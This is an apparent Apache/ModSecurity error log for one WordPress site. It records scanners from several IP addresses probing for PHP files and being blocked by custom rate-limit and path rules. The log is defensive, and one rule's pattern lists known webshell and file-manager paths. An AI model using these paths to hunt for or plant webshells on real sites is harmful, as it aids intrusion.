[Sat Nov 22 01:32:13.968015 2025] [:error] [pid 49641:tid 49825] [client 48.210.84.77:9126] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/attaining.php"] [unique_id "aSCiHVnhuiDak938N_a7JQAAAAI"]
[Sat Nov 22 01:32:14.199409 2025] [:error] [pid 49642:tid 49912] [client 48.210.84.77:9158] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/attaining.php"] [unique_id "aSCiHoOXTPSuQfgUUtWSyAAAAJU"]
[Sat Nov 22 01:32:14.452769 2025] [:error] [pid 49642:tid 49906] [client 48.210.84.77:9086] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/attaining.php"] [unique_id "aSCiHoOXTPSuQfgUUtWSyQAAAI8"]
[Sat Nov 22 01:32:14.793848 2025] [:error] [pid 9180:tid 9188] [client 48.210.84.77:9052] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bunnies.php"] [unique_id "aSCiHrrk9msixUFV2i-YewAAAEY"]
[Sat Nov 22 01:32:15.023350 2025] [:error] [pid 9180:tid 9195] [client 48.210.84.77:9049] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bunnies.php"] [unique_id "aSCiH7rk9msixUFV2i-YfAAAAE0"]
[Sat Nov 22 01:32:15.264786 2025] [:error] [pid 9180:tid 9183] [client 48.210.84.77:9151] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bunnies.php"] [unique_id "aSCiH7rk9msixUFV2i-YfQAAAEE"]
[Sat Nov 22 01:32:15.508358 2025] [:error] [pid 50057:tid 50064] [client 48.210.84.77:9085] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bunnies.php"] [unique_id "aSCiH1b9j9fTBoI0sRVM2AAAAQU"]
[Sat Nov 22 01:32:15.743765 2025] [:error] [pid 50057:tid 50071] [client 48.210.84.77:9135] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/frenchwomen.php"] [unique_id "aSCiH1b9j9fTBoI0sRVM2QAAAQw"]
[Sat Nov 22 01:32:16.039598 2025] [:error] [pid 49641:tid 49839] [client 48.210.84.77:9016] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/frenchwomen.php"] [unique_id "aSCiIFnhuiDak938N_a7JgAAABA"]
[Sat Nov 22 01:32:16.293298 2025] [:error] [pid 49641:tid 49842] [client 48.210.84.77:9010] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/frenchwomen.php"] [unique_id "aSCiIFnhuiDak938N_a7JwAAABM"]
[Sat Nov 22 01:32:16.535262 2025] [:error] [pid 9180:tid 9190] [client 48.210.84.77:9179] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/frenchwomen.php"] [unique_id "aSCiILrk9msixUFV2i-YgQAAAEg"]
[Sat Nov 22 01:32:16.791417 2025] [:error] [pid 9180:tid 9205] [client 48.210.84.77:8975] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/glucosidase.php"] [unique_id "aSCiILrk9msixUFV2i-YhAAAAFc"]
[Sat Nov 22 01:32:17.020996 2025] [:error] [pid 9180:tid 9204] [client 48.210.84.77:9198] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/glucosidase.php"] [unique_id "aSCiIbrk9msixUFV2i-YhQAAAFY"]
[Sat Nov 22 01:32:17.255116 2025] [:error] [pid 9180:tid 9192] [client 48.210.84.77:9065] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/glucosidase.php"] [unique_id "aSCiIbrk9msixUFV2i-YhwAAAEo"]
[Sat Nov 22 01:32:17.536577 2025] [:error] [pid 9180:tid 9203] [client 48.210.84.77:9043] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/glucosidase.php"] [unique_id "aSCiIbrk9msixUFV2i-YiQAAAFU"]
[Sat Nov 22 01:32:17.763367 2025] [:error] [pid 9180:tid 9184] [client 48.210.84.77:9116] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/modernize.php"] [unique_id "aSCiIbrk9msixUFV2i-YiwAAAEI"]
[Sat Nov 22 01:32:18.036849 2025] [:error] [pid 49641:tid 49828] [client 48.210.84.77:9117] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/modernize.php"] [unique_id "aSCiIlnhuiDak938N_a7KAAAAAU"]
[Sat Nov 22 01:32:18.375899 2025] [:error] [pid 50057:tid 50082] [client 48.210.84.77:8981] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/modernize.php"] [unique_id "aSCiIlb9j9fTBoI0sRVM3QAAARc"]
[Sat Nov 22 01:32:18.658725 2025] [:error] [pid 49643:tid 49926] [client 48.210.84.77:8936] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/modernize.php"] [unique_id "aSCiIpwUojIRHhF_fj-QtgAAAMc"]
[Sat Nov 22 01:32:18.932299 2025] [:error] [pid 9180:tid 9196] [client 48.210.84.77:9196] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/twohandedness.php"] [unique_id "aSCiIrrk9msixUFV2i-YkAAAAE4"]
[Sat Nov 22 01:32:19.171388 2025] [:error] [pid 9180:tid 9202] [client 48.210.84.77:9041] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/twohandedness.php"] [unique_id "aSCiI7rk9msixUFV2i-YkQAAAFQ"]
[Sat Nov 22 01:32:19.483598 2025] [:error] [pid 50057:tid 50074] [client 48.210.84.77:8998] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/twohandedness.php"] [unique_id "aSCiI1b9j9fTBoI0sRVM4AAAAQ8"]
[Sat Nov 22 01:32:19.741305 2025] [:error] [pid 49643:tid 49943] [client 48.210.84.77:8972] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/twohandedness.php"] [unique_id "aSCiI5wUojIRHhF_fj-QtwAAANc"]
[Sat Nov 22 01:32:19.987931 2025] [:error] [pid 49641:tid 49841] [client 48.210.84.77:8976] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/undigitated.php"] [unique_id "aSCiI1nhuiDak938N_a7KgAAABI"]
[Sat Nov 22 01:32:20.283372 2025] [:error] [pid 49643:tid 49927] [client 48.210.84.77:8904] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/undigitated.php"] [unique_id "aSCiJJwUojIRHhF_fj-QuAAAAMg"]
[Sat Nov 22 01:32:20.578480 2025] [:error] [pid 50057:tid 50072] [client 48.210.84.77:8914] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/undigitated.php"] [unique_id "aSCiJFb9j9fTBoI0sRVM5AAAAQ0"]
[Sat Nov 22 01:32:20.826529 2025] [:error] [pid 49641:tid 49836] [client 48.210.84.77:9146] [client 48.210.84.77] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/undigitated.php"] [unique_id "aSCiJFnhuiDak938N_a7LAAAAA0"]
[Sat Nov 22 01:32:21.074724 2025] [proxy_fcgi:error] [pid 49641:tid 49845] [client 48.210.84.77:9069] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 01:32:21.193737 2025] [proxy_fcgi:error] [pid 49641:tid 49824] [client 48.210.84.77:9069] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 02:16:07.469751 2025] [:error] [pid 9180:tid 9203] [client 168.181.98.144:1529] [client 168.181.98.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 168.181.98.144, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSCsZ7rk9msixUFV2i-uYAAAAFU"]
[Sat Nov 22 02:16:07.481982 2025] [proxy_fcgi:error] [pid 9180:tid 9203] [client 168.181.98.144:1529] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 03:53:03.416025 2025] [:error] [pid 53479:tid 53552] [client 103.167.150.158:57223] [client 103.167.150.158] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "aSDDH26cicFF3Aas-oQ79AAAAJA"]
[Sat Nov 22 05:29:51.922014 2025] [proxy_fcgi:error] [pid 53477:tid 53499] [client 172.161.73.78:61241] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:29:52.222809 2025] [proxy_fcgi:error] [pid 53477:tid 53488] [client 172.161.73.78:61241] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:29:52.481655 2025] [proxy_fcgi:error] [pid 53477:tid 53490] [client 172.161.73.78:61241] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:29:52.929840 2025] [proxy_fcgi:error] [pid 53477:tid 53484] [client 172.161.73.78:61241] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:29:53.174352 2025] [proxy_fcgi:error] [pid 53477:tid 53491] [client 172.161.73.78:61241] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:29:53.445596 2025] [:error] [pid 53477:tid 53501] [client 172.161.73.78:61241] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aSDZ0X7Lu30Ku9O40aLU8gAAABQ"]
[Sat Nov 22 05:29:56.692546 2025] [:error] [pid 53477:tid 53490] [client 172.161.73.78:56095] [client 172.161.73.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.73.78, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aSDZ1H7Lu30Ku9O40aLU-QAAAAk"]
[Sat Nov 22 05:29:58.129864 2025] [:error] [pid 53477:tid 53489] [client 172.161.73.78:56095] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aSDZ1n7Lu30Ku9O40aLVAwAAAAg"]
[Sat Nov 22 05:29:59.129546 2025] [:error] [pid 53566:tid 53584] [client 172.161.73.78:61167] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aSDZ18bSHDBkRbwMbd4uqgAAANA"]
[Sat Nov 22 05:30:11.599246 2025] [:error] [pid 53477:tid 53500] [client 172.161.73.78:10484] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/default.php"] [unique_id "aSDZ437Lu30Ku9O40aLVGgAAABM"]
[Sat Nov 22 05:30:16.782747 2025] [:error] [pid 53477:tid 53488] [client 172.161.73.78:56106] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww4.php"] [unique_id "aSDZ6H7Lu30Ku9O40aLVZwAAAAc"]
[Sat Nov 22 05:30:19.106097 2025] [:error] [pid 53566:tid 53569] [client 172.161.73.78:56070] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww4.php"] [unique_id "aSDZ68bSHDBkRbwMbd4u6gAAAME"]
[Sat Nov 22 05:30:23.745743 2025] [:error] [pid 53479:tid 53547] [client 172.161.73.78:11237] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww4.php"] [unique_id "aSDZ726cicFF3Aas-oRvRwAAAIs"]
[Sat Nov 22 05:30:27.967406 2025] [:error] [pid 53479:tid 53553] [client 172.161.73.78:10736] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww4.php"] [unique_id "aSDZ826cicFF3Aas-oRvUQAAAJE"]
[Sat Nov 22 05:30:32.765406 2025] [:error] [pid 53479:tid 53538] [client 172.161.73.78:46890] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aSDZ-G6cicFF3Aas-oRvXgAAAII"]
[Sat Nov 22 05:30:34.614924 2025] [:error] [pid 53566:tid 53576] [client 172.161.73.78:44828] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aSDZ-sbSHDBkRbwMbd4vBAAAAMg"]
[Sat Nov 22 05:30:35.560982 2025] [:error] [pid 53478:tid 53526] [client 172.161.73.78:46876] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aSDZ-whUYdXBbQswAdQLUgAAAFE"]
[Sat Nov 22 05:30:37.889607 2025] [:error] [pid 25856:tid 25874] [client 172.161.73.78:44845] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ty.php"] [unique_id "aSDZ_RsTP0wy94zKUvGjpAAAARA"]
[Sat Nov 22 05:30:39.776764 2025] [:error] [pid 53479:tid 53538] [client 172.161.73.78:61191] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "aSDZ_26cicFF3Aas-oRvcgAAAII"]
[Sat Nov 22 05:30:42.534494 2025] [:error] [pid 53477:tid 53497] [client 172.161.73.78:55405] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "aSDaAn7Lu30Ku9O40aLVmwAAABA"]
[Sat Nov 22 05:30:44.732284 2025] [:error] [pid 25856:tid 25867] [client 172.161.73.78:44803] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "aSDaBBsTP0wy94zKUvGjvwAAAQk"]
[Sat Nov 22 05:30:50.756141 2025] [:error] [pid 53566:tid 53591] [client 172.161.73.78:46868] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/cay-van-phong/filemanager.php"] [unique_id "aSDaCsbSHDBkRbwMbd4vJwAAANc"]
[Sat Nov 22 05:30:51.822935 2025] [:error] [pid 53566:tid 53573] [client 172.161.73.78:41427] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aSDaC8bSHDBkRbwMbd4vLAAAAMU"]
[Sat Nov 22 05:30:56.663913 2025] [:error] [pid 53477:tid 53487] [client 172.161.73.78:37337] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aSDaEH7Lu30Ku9O40aLVugAAAAY"]
[Sat Nov 22 05:30:57.346276 2025] [proxy_fcgi:error] [pid 25856:tid 25876] [client 172.161.73.78:55381] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:30:58.075078 2025] [proxy_fcgi:error] [pid 25856:tid 25873] [client 172.161.73.78:55381] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:30:59.291765 2025] [proxy_fcgi:error] [pid 25856:tid 25859] [client 172.161.73.78:55381] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:30:59.555111 2025] [proxy_fcgi:error] [pid 25856:tid 25863] [client 172.161.73.78:55381] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:31:00.294125 2025] [proxy_fcgi:error] [pid 25856:tid 25869] [client 172.161.73.78:55381] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:31:00.530912 2025] [:error] [pid 25856:tid 25878] [client 172.161.73.78:55381] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSDaFBsTP0wy94zKUvGkCQAAARQ"]
[Sat Nov 22 05:31:02.094511 2025] [:error] [pid 53477:tid 53495] [client 172.161.73.78:11190] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aSDaFn7Lu30Ku9O40aLVxwAAAA4"]
[Sat Nov 22 05:31:02.978674 2025] [:error] [pid 53477:tid 53482] [client 172.161.73.78:11158] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSDaFn7Lu30Ku9O40aLVygAAAAE"]
